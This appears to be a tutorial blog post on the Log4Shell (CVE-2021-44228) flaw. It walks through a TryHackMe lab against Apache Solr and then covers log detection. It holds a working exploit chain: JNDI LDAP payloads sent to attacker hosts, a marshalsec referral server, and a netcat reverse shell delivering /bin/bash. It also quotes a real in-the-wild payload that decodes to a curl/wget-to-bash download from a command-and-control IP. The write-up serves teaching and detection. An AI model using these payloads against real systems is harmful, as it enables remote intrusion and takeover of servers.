Log4j Critical RCE

The vulnerability affects Java based logging utility log4j (Version 2). Since this library is being used in various Java based software applications for recording log information, the impact of this vulnerability affects a wide scale of products.

Cloud services like Steam, Apple iCloud and online games such as Minecraft have been found vulnerable to Log4Shell. Below are some of the popular applications which are known to use Log4j2 in default configuration.

• Elasticsearch
• Grails
• Hadoop
• Kafka
• Kibana
• Solr
• Spark
• Struts
• VMware vCenter

The National Cyber Security Centrum Netherlands (NCSC-NL) keeps a comprehensive list of affected products which can be accessed from this link.

Since the attack surface of this vulnerability is enormous, many researchers have compared this flaw to the infamous “Shellshock” and “Heartbleed” vulnerabilities.

Exploiting Log4Shell

The log4j utility adds extra logic to the logs by parsing and evaluating each entry to make the logs more meaningful. This functionality can be abused by an attacker by injecting payloads that can invoke the Java Naming and Directory Interface (JNDI) Functionality. Below is a valid syntax for the Log4Shell payload.

${jndi:ldap://attacker.com/resource}

Proof Of Concept

TryHackMe.com has released a room called “Solar, exploiting log4j” where researchers can exploit and detect log4shell vulnerability in a controlled and simulated environment.

The target machine is running Apache Solr 8.11.0 which is an open-source enterprise-search platform, written in Java. This software includes the vulnerable log4j version 2 package out of the box.

Verification of the vulnerability can be done easily by making a single GET request to the vulnerable server. The payload can be added to any part of the request that is going to be logged in the web server, common locations where an attacker can add the log4shell payloads are:

• HTTP Parameters
• HTTP Headers such as “User-Agent”, “Referrer”, “Origin”, etc.
• User input fields in forms (POST request data).

Step 1: Start a netcat listener.

Step 2: Make a GET request to the target server with the below payload.

curl ‘http://[VICTIM_IP]:[VICTIM_PORT]/solr/admin/cores?foo=$\{jndi:ldap://[ATTACKER_IP]:[ATTACKER_PORT]\}’

After making the above HTTP GET request, it is noticed the target server reaches back to our netcat listener on port 80.

This confirms that the target server is Vulnerable to Log4shell.

Going down the Rabbit hole

LDAP Referral server

It is noticed that the JNDI payload uses LDAP protocol to reach out to the attacker endpoint, to obtain Remote Code Execution on the server, an attacker can host a LDAP server to deliver the exploit.

To deploy a simple LDAP Referral server, the open source tool called “marshalsec” can be used.

https://github.com/mbechler/marshalsec

Start the LDAP Referral server using the below command.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://[ATTACKERIP]:8000/#Exploit”

Java Reverse Shell

To obtain a reverse shell on the target machine, a small Java Class can be written which then will execute netcat command delivering /bin/bash to the attacker IP “10.8.218.56” and Port “9999”.

The Class file can be compiled using the below command.

javac Exploit.java

Python HTTP Server

To deliver the executable a python3 HTTP server can be started using the below command.

python3 -m http.server

Netcat Listener

Start a netcat listener on port 9999 to listen for incoming connections from the target server.

nc -lvnp 9999

Exploitation

To make the server calls and execute the Java revershell class file, run the below curl command.

curl ‘http://[VICTIM_IP]:[VICTIM_PORT]/solr/admin/cores?foo=$\{jndi:ldap://[ATTACKER_IP]:[LDAP_PORT]/Exploit\}’

After the above request is made, the vulnerable server will make a LDAP call to the attacker referral server.

The referral server will in turn point towards the python HTTP server running on port 8000.

Finally, the vulnerable server will execute the “Exploit.class” reverse shell and connect to the attacker’s netcat session.

The attacker now has full shell access on the target server.

Detecting Log4Shell Exploitation Attempts

The following command can be used to check for exploitation attempts for Log4j vulnerability in your web servers.

sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ [LOG_PATH]

Exploitation attempts for the vulnerability can be identified from the web access logs for web servers. A typical exploitation attempt looks like the below.

“${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgND
UuMTU1LjIwNS4yMzM6NTg3NC94eC54eC54eC54eDo0NDN8fHdnZXQgLXEgLU8tIDQ1L
jE1NS4yMDUuMjMzOjU4NzQveHgueHgueHgueHg6NDQzKXxiYXNo}”

The base64 string in the request decodes to the below.

(curl -s 45.155.205.233:5874/xx.xx.xx.xx:443||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:443)|bash
(target IP is replaced by xx.xx.xx.xx)

The attempt here is to exploit the vulnerability to run arbitrary commands. The attempt in the above instance is to use curl or wget utility which are generally available by default on linux hosts to create a connection to the command and control server. The output of the command is piped to bash. This executes the script which would compromise the host.

To effectively identify exploitation attempts for CVE-2021-44228, a SIEM should be implemented and the SIEM should integrate the web access logs for all web servers, especially public facing servers.

The below patterns can be used in regex matching to identify exploitation attempts.

jndi:ldap|jndi:rmi|jndi:ldaps|jndi:dns
jndi:\w+

References

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

https://tryhackme.com/room/solar#